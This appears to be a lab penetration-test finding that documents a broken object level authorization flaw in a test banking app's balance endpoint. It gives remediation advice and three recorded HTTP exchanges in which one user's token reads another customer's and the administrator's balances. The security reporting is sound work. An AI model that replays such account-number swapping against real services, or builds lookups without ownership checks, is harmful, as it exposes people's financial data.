Vulnerability
[FAIL] Broken Object Level Authorization - Accounts - Balance Lookup
Description
The /check_balance/<account_number> endpoint returns an account balance based on the account number in the path without checking that the account belongs to the token holder. A valid token is enough to read any account.
Impact
Confidentiality (High): any customer can read the owner name and balance of other customers' accounts, including the administrator's account. Account numbers are also exposed by other endpoints in this application, so the balances of all customers can be mapped systematically.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Scenario
Normal: the attacker checks their own account balance -> expected. Exploitation: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are readable. Impact: the administrator account ADMIN001 is readable in the same way.
Endpoint
GET http://127.0.0.1:5001/check_balance/<account_number>
Affected feature
Account balance lookup
Remediation
- Derive the account number from the caller's token, not from the path.
- If the parameter is retained, verify account ownership before returning data.
- Avoid guessable account numbers and do not display other users' account numbers in any endpoint response.
Proof of concept
- (Screenshot 1) NORMAL: the attacker checks their own account balance.
- (Screenshot 2) EXPLOITATION: the account number is replaced with the victim's -> HTTP 200, the victim's name and balance are exposed.
- (Screenshot 3) CIA IMPACT: the administrator account ADMIN001 is read using an ordinary user token.
The complete record
LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:12 GMT
{
"account_number": "0932191785",
"balance": -8100.0,
"status": "success",
"username": "pentest_attacker"
}
HTTP request
GET /check_balance/9159912486 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:13 GMT
{
"account_number": "9159912486",
"balance": 10100.0,
"status": "success",
"username": "pentest_victim"
}
HTTP request
GET /check_balance/ADMIN001 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 108
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:14 GMT
{
"account_number": "ADMIN001",
"balance": 1000000.0,
"status": "success",
"username": "admin"
}
← Previous case: Broken Function Level Authorization - Admin - Administrative Endpoints Next case: Broken Object Level Authorization - GraphQL - Transaction Summary →